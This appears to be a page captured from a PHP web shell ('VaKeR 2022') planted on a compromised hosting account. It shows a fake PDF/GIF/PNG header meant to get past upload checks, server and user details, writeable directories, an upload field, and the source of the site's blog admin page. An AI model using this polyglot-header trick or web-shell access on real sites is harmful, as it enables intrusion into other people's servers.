%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/admin/blogshow.php
<?php
session_start();
if(!isset($_SESSION["username"]))
{
  header('location:../admin.php');
  exit();
}

include('../dbcon.php');
include('header.php');
?>

<div class="container">
  <h2>Blog</h2>

  <h2 align="right">
    <a class="btn btn-success" href="blog.php">Add Blog</a>
  </h2>

  <table class="table table-bordered">
    <thead>
      <tr>
        <th>No.</th>
        <th>Author Name</th>
        <th>Title</th>
        <th>Page Title</th>
        <th>Subtitle</th>
        <th>Image</th>
        <th>Edit</th>
        <th>Delete</th>
      </tr>
    </thead>

    <tbody>

<?php
$query = "SELECT * FROM project ORDER BY id DESC";
$result = mysqli_query($conn, $query);

if(mysqli_num_rows($result) > 0)
{
    $count = 0;

    while($row = mysqli_fetch_assoc($result))
    {
        $count++;

        // Image path fix
        $imagePath = "dataimg/" . $row['image'];
?>

      <tr>
        <td><?php echo $count; ?></td>

        <td><?php echo htmlspecialchars($row['submenu']); ?></td>

        <td><?php echo htmlspecialchars($row['title']); ?></td>

        <td><?php echo htmlspecialchars($row['page_title']); ?></td>

        <td>
            <?php echo substr(strip_tags($row['subtitle1']), 0, 50); ?>...
        </td>

        <td>
            <?php
            if(!empty($row['image']) && file_exists($imagePath)) {
            ?>
                <img src="<?php echo $imagePath; ?>" 
                     style="max-height:120px; max-width:200px;">
            <?php
            } else {
                echo "<span style='color:red;'>No Image</span>";
            }
            ?>
        </td>

        <td>
          <a class="btn btn-primary" href="blogform.php?sid=<?php echo $row['id']; ?>">
            Edit
          </a>
        </td>

        <td>
          <a class="btn btn-danger" 
             onclick="return confirm('Are you sure?')"
             href="blogdelete.php?sid=<?php echo $row['id']; ?>">
             Delete
          </a>
        </td>
      </tr>

<?php
    }
}
else
{
    echo "<tr><td colspan='8' align='center'>No Data Found</td></tr>";
}
?>

    </tbody>
  </table>
</div>      <!-- / Content -->

            

            <div class="content-backdrop fade"></div>
          </div>
          <!-- Content wrapper -->
        </div>
        <!-- / Layout page -->
      </div>
    </div>
    <!-- / Layout wrapper -->

    
    <!-- Core JS -->
    <!-- build:js assets/vendor/js/core.js -->
    <script src="../assets/vendor/libs/jquery/jquery.js"></script>
    <script src="../assets/vendor/libs/popper/popper.js"></script>
    <script src="../assets/vendor/js/bootstrap.js"></script>
    <script src="../assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script>

    <script src="../assets/vendor/js/menu.js"></script>
    <!-- endbuild -->

    <!-- Vendors JS -->

    <!-- Main JS -->
    <script src="../assets/js/main.js"></script>

    <!-- Page JS -->

    <!-- Place this tag in your head or just before your close body tag. -->
    <script async defer src="https://buttons.github.io/buttons.js"></script>
  </body>
</html>

VaKeR 2022